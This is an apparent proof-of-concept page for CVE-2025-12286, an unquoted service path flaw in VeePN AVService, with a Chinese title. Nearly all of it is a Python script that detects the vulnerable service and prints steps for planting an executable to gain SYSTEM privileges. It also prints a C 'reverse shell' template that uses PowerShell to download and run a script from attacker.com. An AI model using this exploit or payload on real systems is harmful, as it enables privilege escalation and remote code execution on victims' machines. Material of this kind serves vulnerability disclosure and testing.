CVE-2025-12286 VeePN AVService未引号搜索路径提权漏洞

# CVE-2025-12286 PoC - VeePN AVService Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in VeePN AVService # Author: Security Researcher # Date: 2025-10-27 import os import sys import subprocess import shutil def check_vulnerability(): """ Check if VeePN AVService is installed and has unquoted path vulnerability """ print("[*] Checking for VeePN AVService vulnerability...") try: # Query Windows service configuration result = subprocess.run( ['sc', 'qc', 'VeePN_AVService'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[+] VeePN AVService found") # Extract the binary path for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[+] Binary path: {path}") # Check if path is unquoted and contains spaces if ' ' in path and not (path.startswith('"') and path.endswith('"')): print("[!] VULNERABLE: Path contains spaces without quotes") return True, path else: print("[-] NOT VULNERABLE: Path is properly quoted") return False, path else: print("[-] VeePN AVService not found") return False, None except Exception as e: print(f"[-] Error checking service: {e}") return False, None def exploit_veePN(): """ Exploit unquoted service path to gain SYSTEM privileges WARNING: This is for educational/testing purposes only """ print("[*] Exploitation requires:") print(" 1. Low-privileged user access") print(" 2. Write access to intermediate directories") print(" 3. Ability to restart the service") # Generate malicious executable path # For path: C:\Program Files (x86)\VeePN\avservice\avservice.exe # Attacker can place malicious.exe in: C:\Program Files (x86).exe print("\n[*] To exploit:") print(" 1. Create a malicious executable (e.g., revshell.exe)") print(" 2. Place it at: C:\\Program Files (x86).exe") print(" 3. Wait for service restart or reboot") print(" 4. The malicious code will execute with SYSTEM privileges") return True if __name__ == '__main__': is_vulnerable, path = check_vulnerability() if is_vulnerable: exploit_veePN() # Example malicious code that could be used (reverse shell) print("\n[*] Example malicious code structure:") print(''' // Simple reverse shell example #include <windows.h> #include <stdio.h> int main() {{ STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); // Connect back to attacker machine system("cmd.exe /c powershell -c \"IEX(New-Object Net.WebClient).downloadstring('http://attacker.com/shell.ps1')\""); return 0; }} ''')